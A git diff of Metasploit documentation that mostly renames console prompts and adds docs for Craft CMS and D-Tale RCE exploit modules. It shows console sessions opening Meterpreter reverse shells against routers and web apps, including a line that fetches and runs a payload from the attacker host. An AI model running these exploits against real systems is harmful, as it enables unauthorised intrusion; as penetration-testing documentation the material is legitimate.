for the module: ``` -msf5 > use exploit/linux/http/cisco_rv32x_rce -msf5 exploit(linux/http/cisco_rv32x_rce) > show options +msf > use exploit/linux/http/cisco_rv32x_rce +msf exploit(linux/http/cisco_rv32x_rce) > show options Module options (exploit/linux/http/cisco_rv32x_rce): @@ -119,17 +119,17 @@ Exploit target: -- ---- 0 LINUX MIPS64 -msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 +msf exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 -msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp +msf exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp payload => linux/mips64/meterpreter_reverse_tcp -msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 +msf exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 LHOST => 192.168.1.2 -msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 +msf exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 RPORT => 443 -msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true +msf exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true USE_SSL => true -msf5 exploit(linux/http/cisco_rv32x_rce) > run +msf exploit(linux/http/cisco_rv32x_rce) > run [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Using URL: http://0.0.0.0:8080/ diff --git a/documentation/modules/exploit/linux/http/cisco_rv340_lan.md b/documentation/modules/exploit/linux/http/cisco_rv340_lan.md index ca7f08d184cd2..a45da4cec7334 100644 --- a/documentation/modules/exploit/linux/http/cisco_rv340_lan.md +++ b/documentation/modules/exploit/linux/http/cisco_rv340_lan.md @@ -44,13 +44,13 @@ To install this firmware, follow the following directions: ### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_netcat payload ``` -msf6 > use modules/exploits/linux/http/cisco_rv340_lan +msf > use modules/exploits/linux/http/cisco_rv340_lan [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142 +msf exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142 lhost => 192.168.1.142 -msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1 +msf exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1 rhost => 192.168.1.1 -msf6 exploit(linux/http/cisco_rv340_lan) > exploit +msf exploit(linux/http/cisco_rv340_lan) > exploit [*] Started reverse TCP handler on 192.168.1.142:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -66,15 +66,15 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_tcp ARMLE Meterpreter payload ``` -msf6 > use modules/exploits/linux/http/cisco_rv340_lan +msf > use modules/exploits/linux/http/cisco_rv340_lan [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142 +msf exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142 lhost => 192.168.1.142 -msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1 +msf exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1 rhost => 192.168.1.1 -msf6 exploit(linux/http/cisco_rv340_lan) > set target 1 +msf exploit(linux/http/cisco_rv340_lan) > set target 1 target => 1 -msf6 exploit(linux/http/cisco_rv340_lan) > exploit +msf exploit(linux/http/cisco_rv340_lan) > exploit [*] Started reverse TCP handler on 192.168.1.142:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/cisco_rv_series_authbypass_and_rce.md b/documentation/modules/exploit/linux/http/cisco_rv_series_authbypass_and_rce.md index ff820f70d2954..854dc2be4487a 100644 --- a/documentation/modules/exploit/linux/http/cisco_rv_series_authbypass_and_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_rv_series_authbypass_and_rce.md @@ -55,15 +55,15 @@ Specifies base URI. The default value is `/`. ### Cisco RV340 using firmware version 1.0.03.20. Reverse shell to meterpreter session. ``` -msf6 > use exploits/linux/http/cisco_rv_series_authbypass_and_rce +msf > use exploits/linux/http/cisco_rv_series_authbypass_and_rce [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set RHOST 10.0.0.8 +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set RHOST 10.0.0.8 RHOST => 10.0.0.8 -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set LHOST 10.0.0.6 +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set LHOST 10.0.0.6 LHOST => 10.0.0.6 -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set target 1 +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set target 1 target => 1 -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > run +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > run [*] Started reverse TCP handler on 10.0.0.6:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -211,13 +211,13 @@ ps faux ### Cisco RV340 using firmware version 1.0.03.20. Reverse shell with reverse netcat. ``` -msf6 > use exploits/linux/http/cisco_rv_series_authbypass_and_rce +msf > use exploits/linux/http/cisco_rv_series_authbypass_and_rce [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set RHOST 10.0.0.8 +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set RHOST 10.0.0.8 RHOST => 10.0.0.8 -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set LHOST 10.0.0.6 +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set LHOST 10.0.0.6 LHOST => 10.0.0.6 -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > run +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > run [*] Started reverse TCP handler on 10.0.0.6:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -269,10 +269,10 @@ tcp 0 0 :::830 :::* LISTEN ``` [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set RHOST 10.0.0.8 +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > set RHOST 10.0.0.8 RHOST => 10.0.0.8 -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > check +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > check [*] 10.0.0.8:443 - The target is not exploitable. The target did not respond with a 200 OK. -msf6 exploit(linux/http/cisco_rv_series_authbypass_and_rce) > +msf exploit(linux/http/cisco_rv_series_authbypass_and_rce) > ``` diff --git a/documentation/modules/exploit/linux/http/cisco_ucs_cloupia_script_rce.md b/documentation/modules/exploit/linux/http/cisco_ucs_cloupia_script_rce.md index b9ac310375bd2..e667790873aa4 100644 --- a/documentation/modules/exploit/linux/http/cisco_ucs_cloupia_script_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_ucs_cloupia_script_rce.md @@ -69,8 +69,8 @@ shouldn't need to change it. ### Cisco UCS Director 6.7.3.0 VMware distribution ``` -msf5 > use exploit/linux/http/cisco_ucs_cloupia_script_rce -msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > options +msf > use exploit/linux/http/cisco_ucs_cloupia_script_rce +msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > options Module options (exploit/linux/http/cisco_ucs_cloupia_script_rce): @@ -105,11 +105,11 @@ Exploit target: 1 Linux Dropper -msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > set rhosts 172.16.249.158 +msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > set rhosts 172.16.249.158 rhosts => 172.16.249.158 -msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > set lhost 172.16.249.1 +msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > run +msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/cisco_ucs_rce.md b/documentation/modules/exploit/linux/http/cisco_ucs_rce.md index b3f0aaf34efd2..da8a1d0fec95e 100644 --- a/documentation/modules/exploit/linux/http/cisco_ucs_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_ucs_rce.md @@ -21,12 +21,12 @@ was not tested with those products. Setup RHOST, LHOST, LPORT and run it! ``` -msf5 exploit(linux/ssh/cisco_ucs_scpuser) > use exploit/linux/http/cisco_ucs_rce -msf5 exploit(linux/http/cisco_ucs_rce) > set rhost 10.9.8.121 +msf exploit(linux/ssh/cisco_ucs_scpuser) > use exploit/linux/http/cisco_ucs_rce +msf exploit(linux/http/cisco_ucs_rce) > set rhost 10.9.8.121 rhost => 10.9.8.121 -msf5 exploit(linux/http/cisco_ucs_rce) > set lhost 10.9.8.1 +msf exploit(linux/http/cisco_ucs_rce) > set lhost 10.9.8.1 lhost => 10.9.8.1 -msf5 exploit(linux/http/cisco_ucs_rce) > run +msf exploit(linux/http/cisco_ucs_rce) > run [*] Started reverse TCP handler on 10.9.8.1:4444 [+] 10.9.8.121:443 - Successfully bypassed auth and got our admin JSESSIONID cookie! @@ -41,5 +41,5 @@ Abort session 2? [y/N] y "" [*] 10.9.8.121 - Command shell session 2 closed. Reason: User exit -msf5 exploit(linux/http/cisco_ucs_rce) > +msf exploit(linux/http/cisco_ucs_rce) > ``` diff --git a/documentation/modules/exploit/linux/http/control_web_panel_login_cmd_exec.md b/documentation/modules/exploit/linux/http/control_web_panel_login_cmd_exec.md index 22f804068f3eb..b23070d2dcc1a 100644 --- a/documentation/modules/exploit/linux/http/control_web_panel_login_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/control_web_panel_login_cmd_exec.md @@ -31,19 +31,19 @@ Check the version with `grep webpanel_version /usr/local/cwpsrv/htdocs/resources ### CWP Version 0.9.8.1146 on CentOS 7 ``` -msf6 > use exploit/linux/http/control_web_panel_login_cmd_exec +msf > use exploit/linux/http/control_web_panel_login_cmd_exec [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set RHOSTS 192.168.159.9 +msf exploit(linux/http/control_web_panel_login_cmd_exec) > set RHOSTS 192.168.159.9 RHOSTS => 192.168.159.9 -msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set TARGET Unix\ Command +msf exploit(linux/http/control_web_panel_login_cmd_exec) > set TARGET Unix\ Command TARGET => Unix Command -msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/control_web_panel_login_cmd_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set LHOST 192.168.159.128 +msf exploit(linux/http/control_web_panel_login_cmd_exec) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > check +msf exploit(linux/http/control_web_panel_login_cmd_exec) > check [*] 192.168.159.9:2031 - The target appears to be vulnerable. Successfully tested command injection. -msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > exploit +msf exploit(linux/http/control_web_panel_login_cmd_exec) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/cpi_tararchive_upload.md b/documentation/modules/exploit/linux/http/cpi_tararchive_upload.md index 323d8d77915a9..734a21cc36b56 100644 --- a/documentation/modules/exploit/linux/http/cpi_tararchive_upload.md +++ b/documentation/modules/exploit/linux/http/cpi_tararchive_upload.md @@ -63,14 +63,14 @@ If the secondary server isn't working with the primary, then the HealthMonitor s **Running the check** ``` -msf5 exploit(linux/http/cpi_tararchive_upload) > check +msf exploit(linux/http/cpi_tararchive_upload) > check [*] 192.168.0.23:8082 - The target service is running, but could not be validated. ``` **Exploiting the service** ``` -msf5 exploit(linux/http/cpi_tararchive_upload) > run +msf exploit(linux/http/cpi_tararchive_upload) > run [*] Started reverse TCP handler on 192.168.0.21:4444 [*] Uploading tar file (3072 bytes) diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md index 43ea42c8a3f5f..7df048d7c1ac3 100644 --- a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md +++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md @@ -138,7 +138,7 @@ exploit If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell: ```bash -msf6 exploit(linux/http/craftcms_ftp_template) > options +msf exploit(linux/http/craftcms_ftp_template) > options Module options (exploit/linux/http/craftcms_ftp_template): @@ -182,11 +182,11 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/craftcms_ftp_template) > exploit +msf exploit(linux/http/craftcms_ftp_template) > exploit [*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu& [*] Exploit running as background job 57. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/craftcms_ftp_template) > +msf exploit(linux/http/craftcms_ftp_template) > [*] Fetch handler listening on 192.168.1.36:8081 [*] HTTP server started [*] Adding resource /LoPlnjEpeOexZNVppn6cAA @@ -260,7 +260,7 @@ msf6 exploit(linux/http/craftcms_ftp_template) > [*] Sending stage (3045380 bytes) to 172.26.0.2 [*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100 -msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14 +msf exploit(linux/http/craftcms_ftp_template) > sessions 14 [*] Starting interaction with 14... meterpreter > sysinfo Computer : 172.26.0.2 diff --git a/documentation/modules/exploit/linux/http/craftcms_preauth_rce_cve_2025_32432.md b/documentation/modules/exploit/linux/http/craftcms_preauth_rce_cve_2025_32432.md new file mode 100644 index 0000000000000..5eb4265616ae7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/craftcms_preauth_rce_cve_2025_32432.md @@ -0,0 +1,215 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in Craft CMS. + +The vulnerability lies in improper handling of image transformations, which can be exploited to +inject and execute arbitrary PHP code on the server via crafted HTTP requests. + +--- + +### Affected Versions + +- **3.x series**: `>= 3.9.15` +- **4.x series**: `>= 4.14.15` +- **5.x series**: `>= 5.6.17` + +--- + +### Setting Up a Vulnerable Lab + +To test this exploit, follow these steps to set up a vulnerable Craft CMS environment. + +#### Docker Setup + +Install a specific vulnerable version of Craft CMS: + +```bash +mkdir exploit-craft && \ +cd exploit-craft && \ + # Configure DDEV (https://ddev.com/) project for Craft CMS \ +ddev config \ + --project-type=craftcms \ + --docroot=web \ + --create-docroot \ + --php-version="8.2" \ + --database="postgres:15" \ + --nodejs-version="20" && \ + # Create the DDEV project +ddev start -y && \ + # Create Craft CMS with the specified version +ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \ + # Install a vulnerable Craft CMS version +ddev composer require "craftcms/cms:5.5.0" \ + --no-scripts \ + --no-interaction --with-all-dependencies && \ + # Set the security key for Craft CMS +ddev craft setup/security-key && \ + # Install Craft CMS +ddev craft install/craft \ + --username=admin \ + --password=password123 \ + --email=admin@example.com \ + --site-name=Testsite \ + --language=en \ + --site-url='$DDEV_PRIMARY_URL' && \ +ddev restart && \ + # Launch the project +echo 'Setup complete. Launching the project.' && \ +ddev launch +``` + +--- + +## Verification Steps + +1. Start the vulnerable Craft CMS instance using the steps above. +2. Launch `msfconsole`. +3. Use the module: `use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432`. +4. Set `RHOSTS` to the target Craft CMS instance. +5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed. +6. Execute the exploit with the `run` command. +7. If successful, the module will execute the payload on the target. + + +## Options + +The module has the following option: + +- **ASSET_ID**: This option is required for older versions of Craft CMS, particularly in the 3.x series. + It specifies the asset ID for the Craft CMS instance. For 3.x versions, this ID must be set correctly to exploit the vulnerability. + +For example, if you are targeting a Craft CMS version from the `>= 3.0.0`, `< 3.9.14`, make sure to specify the correct `ASSET_ID`. +This is necessary for successful exploitation when dealing with these versions. + +Craft CMS uses the notion of an "Asset" to manage files and media such as images and documents; each asset has a unique ID. +This module does not perform bruteforcing of asset IDs to avoid noisy and inefficient exploitation attempts. + + +## Scenarios + +#### Successful Exploitation Against Craft CMS 5.5.0 + +**Setup**: + +- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`). +- Metasploit Framework. + +**Steps**: + +To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps: + +1. Start `msfconsole`: +```bash +msfconsole +``` + +2. Load the module: +```bash +use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 +``` + +3. Set the `RHOSTS` option to the target Craft CMS instance, for example: +```bash +set RHOSTS exploit-craft.ddev.site +``` + +4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default: + - `RPORT` is set to `80`. + - `TARGETURI` is set to `/`. + +5. Set the payload for exploitation. For example: +```bash +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +``` + +6. Set the local listener address and port: +```bash +set LHOST 192.168.1.36 +set LPORT 4444 +``` + +7. Run the exploit: +```bash +exploit +``` + +**Expected Results**: + +If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell: + +##### For `ARCH_PHP`: + +```bash +msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options + +Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ASSET_ID 410 yes Existing asset ID + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m + etasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.36 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PHP In-Memory + + + +View the full module info with the info, or info -d command. +``` + +```bash +msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/ +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Leaked session.save_path: /var/lib/php/sessions +[+] The target is vulnerable. Session path leaked +[*] Injecting stub & triggering payload... +[*] Sending stage (40004 bytes) to 172.24.0.2 +[*] Meterpreter session 12 opened (192.168.1.36:4444 -> 172.24.0.2:35238) at 2025-04-29 21:52:44 +0200 + +meterpreter > sysinfo +Computer : exploit-craft-web +OS : Linux exploit-craft-web 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64 +Meterpreter : php/linux +``` + +##### For `ARCH_CMD`: + +```bash +msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set target 1 +target => 1 +msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/ +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Leaked session.save_path: /var/lib/php/sessions +[+] The target is vulnerable. Session path leaked +[*] Injecting stub & triggering payload... +[*] Sending stage (3045380 bytes) to 172.24.0.2 +[*] Meterpreter session 13 opened (192.168.1.36:4444 -> 172.24.0.2:33436) at 2025-04-29 21:53:43 +0200 + +meterpreter > sysinfo +Computer : 172.24.0.2 +OS : Debian 12.10 (Linux 6.14.2-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md index ed96179805017..cd2bae0109302 100644 --- a/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md +++ b/documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md @@ -47,7 +47,7 @@ you should get a `shell` or `Meterpreter` ```shell -msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info +msf exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info Name: Craft CMS unauthenticated Remote Code Execution (RCE) Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 @@ -157,7 +157,7 @@ For the native PHP target, by default the `eval()` function will be used for nat ## Scenarios ### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp ```shell -msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit +msf exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -178,9 +178,9 @@ meterpreter > ``` ### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash ```shell -msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1 +msf exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1 target => 1 -msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit +msf exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -196,9 +196,9 @@ id uid=501(www-data) gid=20(dialout) groups=20(dialout)``` ### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp ```shell -msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2 +msf exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2 target => 2 -msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit +msf exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md index 27fc66ee65a7d..72aec9a0537d6 100644 --- a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md +++ b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md @@ -16,18 +16,18 @@ Vulnerable firmwares are 1.01 up to 1.03. ## Scenarios ``` -msf5 > use exploit/linux/http/dlink_dsl2750b_exec_noauth -msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set RHOST 192.168.1.1 +msf > use exploit/linux/http/dlink_dsl2750b_exec_noauth +msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 -msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp +msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp -msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LHOST eth0 +msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LHOST eth0 LHOST => eth0 -msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555 +msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555 LPORT => 5555 -msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run +msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > run -msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run +msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > run [*] Started reverse TCP handler on 192.168.1.6:5555 [*] 192.168.1.1:80 Checking target version... diff --git a/documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md b/documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md index 5f3ddaf253536..460b4c8879978 100644 --- a/documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md +++ b/documentation/modules/exploit/linux/http/dlink_dwl_2600_command_injection.md @@ -19,7 +19,7 @@ In addition you will probably want to set `LHOST` and `SRVHOST`. ## Payloads ``` -msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > show payloads +msf exploit(linux/http/dlink_dwl_2600_command_injection) > show payloads Compatible Payloads =================== @@ -43,7 +43,7 @@ Compatible Payloads ## Scenarios ``` -msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > exploit +msf exploit(linux/http/dlink_dwl_2600_command_injection) > exploit [*] Started reverse TCP handler on 192.168.0.101:4444 [*] 192.168.0.100:80 - Trying to login with admin / admin diff --git a/documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md b/documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md new file mode 100644 index 0000000000000..13db43cc7bf79 --- /dev/null +++ b/documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +This exploit effectively serves as a bypass for CVE-2024-3408. +An attacker can override global state to enable custom filters, which then facilitates remote code execution. +Specifically, this vulnerability leverages the ability to manipulate global application settings +to activate the enable_custom_filters feature, typically restricted to trusted environments. +Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands. + +The vulnerability affects: + + * D-Tale <= 3.15.1 + +This module was successfully tested on: + + * D-Tale 3.15.1 installed on Ubuntu 24.04 + * D-Tale 3.12.0 installed on Ubuntu 22.04 + * D-Tale 3.10.0 installed on Ubuntu 22.04 + * D-Tale 3.0.0 installed on Ubuntu 22.04 + * D-Tale 2.5.1 installed on Ubuntu 22.04 + * D-Tale 2.4.0 installed on Ubuntu 22.04 + + +### Installation + +1. `pip install 'dtale==3.15.1'` + +2. `dtale --host 0.0.0.0` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf > use exploit/linux/http/dtale_rce_cve_2025_0655 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(linux/http/dtale_rce_cve_2025_0655) > options + +Module options (exploit/linux/http/dtale_rce_cve_2025_0655): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 40000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_FILELESS is false: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.15.1 detected. +[*] Use data_id: 1 +[*] Updated the enable_custom_filters to true. +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900 +[*] Successfully executed the payload. +[*] Successfully cleaned up data_id: 1 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : Ubuntu 22.04 (Linux 6.8.0-52-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md b/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md index a38a6af1a8a0b..a3314678a1192 100644 --- a/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md @@ -35,13 +35,13 @@ Additional installation methods can be found [here](https://github.com/Studio-42 ### elFinder `v2.1.58` on Ubuntu 20.04.1 ``` -msf6 > use exploit/linux/http/elfinder_archive_cmd_injection +msf > use 